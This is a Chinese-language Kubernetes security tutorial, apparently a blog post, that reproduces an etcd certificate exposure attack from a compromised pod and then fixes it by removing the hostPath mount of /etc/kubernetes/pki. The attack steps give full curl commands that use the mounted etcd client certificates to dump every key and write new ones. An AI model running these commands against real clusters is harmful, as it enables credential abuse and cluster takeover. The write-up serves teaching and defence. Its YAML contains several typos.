Kubernetes 安全系列之： ETCD证书暴露攻击

- 背景
- 攻击重现
- - 步骤
- 解决方案
- - 思路
  - 说明

背景

据悉，一个运行在单节点 Kubernetes 上的证书管理工具能够读取 TLS 证书以访问 API Server的 etcd 存储。黑客已入侵该管理工具APP，并利用此读取访问权限来获取集群中其他的权限进而掌控整个系统。本文将重现攻击以验证漏洞并了解如何修复它。

攻击重现

假设，现集群中存在一个可访问节点etcd证书的Pod，且已被侵入。该部分将演示一个拥有该Pod访问权限的攻击者如何使用Client证书通过 Etcd TLS身份验证来获取数据。

请注意，出于安全原因，Pods通常不会运行在控制平面节点上，但这可能会发生在单节点集群或者某些配置中。

步骤

首先，当前的K8S集群中部署有如下Resource ：

---
apiVersion: apps/vl
kind: Deployment
metadata:
  name: cert-watcher
spec:
  selector:
    matchlabels:
      name: cert-watcher
  replicas: 1
  template:
    metadata:
      labels:
        name: cert-watcher
    spec:
      containers:
      - name: cert-watcher
        image: sf-alpine
        imagePullPolicy: Never
        command: ["sh"]
        args: [ "-C", "exec sleep infinity" ]
        volumeMounts:
        - name: certs1
          mount Path: "/certs1"
          readonly: true
        - name: certs2
          mount Path: "/certs2"
          readonly: true
      volumes:
      - name: certs1
        hostPath:
        path: /etc/kubernetes/pki/
        type: Directory
      - name: certs2
        hostPath:
        path: /usr/share/ca-certificates/mozilla/
        type: Directory

2.可以观察到 cert-watcher 这个容器挂载了两个存放certificate的文件夹, /etc/kubernetes/pki/ 和 /usr/share/ca-certificates/mozilla/

3.接着，进入到 cert-watcher Pod 中找到所需要的cert并模拟攻击，运行如下命令

kubectl exec -it cert-watcher-xxx-xxx -- bash

在这里插入图片描述

打开另一个终端，运行如下命令尝试获取 etcd服务的IP 地址

kubectl -n kube-system get Pod etcd-sf-node-1 --template={
   
   {.status.podIP}}

在这里插入图片描述

注意：攻击者即使在已侵入的POD中也可以通过IP地址扫描的方式获取到etcd IP 地址

在 cert-watcher 这个POD中，尝试使用curl 去访问etcd 服务来确认etcd是否开启certificate-based 验证，运行如下命令 curl -k https://<etcd ip>:2379/version

在这里插入图片描述

可以看到，由于基于TLS的身份验证是用必须带有client证书访问的，因此这个请求会失败，我们应该会收到一个验证错误。

接着，重复上面的curl请求，这次我们带上存放在 /certs1/etcd 目录下证书，该证书已挂载在POD中，命令如下

curl -k --cacert /certs1/etcd/ca.crt --cert /certs1/etcd/server.crt --key /certs1/etcd/server.key  https://<etcd ip>:2379/version

在这里插入图片描述

观察到这次我们成功地通过了验证，并且访问了/version 这个endpoint.

同样地，我们可以用此证书去获取etcd中更多的访问，运行如下命令获取所有的key

curl -k --cacert /certs1/etcd/ca.crt --cert /certs1/etcd/server.crt --key /certs1/etcd/server.key -X POST -d '{"key": "AA==", "range_end": "Zm9w"}' https://<etcd ip>:2379/v3/kv/range

在这里插入图片描述

甚至我们可以写入新的key来验证是否拥有ETCD写权限。（注意，etcd中数据以base64格式存放），如下尝试新写入{ a:b } 键值对

curl -k --cacert /certs1/etcd/ca.crt --cert /certs1/etcd/server.crt --key /certs1/etcd/server.key https://<etcd ip>:2379/v3/kv/put -d '{"key":"'$(base64<<<a)'","value":"'$(base64<<<b)'"}'

在这里插入图片描述

其他ETCD查询语句可以从官方文档获取

解决方案

思路

从上面的实验我们可以看到，若攻击者已侵入一个具有访问集群ETCD的管理工具POD并获得访问权限，攻击者可以通过证书访问进一步获取到ETCD中更多敏感信息，造成极大安全隐患。因此，我们必须采取措施杜绝此类安全侵入的可能性。
在此案例中，只要确保cert-watche 容器无法访问本地文件系统中的证书，即可防止被攻击的风险

说明

观察到 exercise.yaml文件中 /etc/kubernetes/pki/ 是如何被挂载的，只要删除该挂载卷部分即可

        volumeMounts:
        - name: certs1
          mount Path: "/certs1"
          readonly: true

      volumes:
      - name: certs1
        hostPath:
        path: /etc/kubernetes/pki/
        type: Directory

重复以上同样的的curl请求，这次我们带上存放在 /certs1/etcd 目录下证书，会出现证书报错，以此拒绝ETCD证书暴露攻击

在这里插入图片描述

原文链接：
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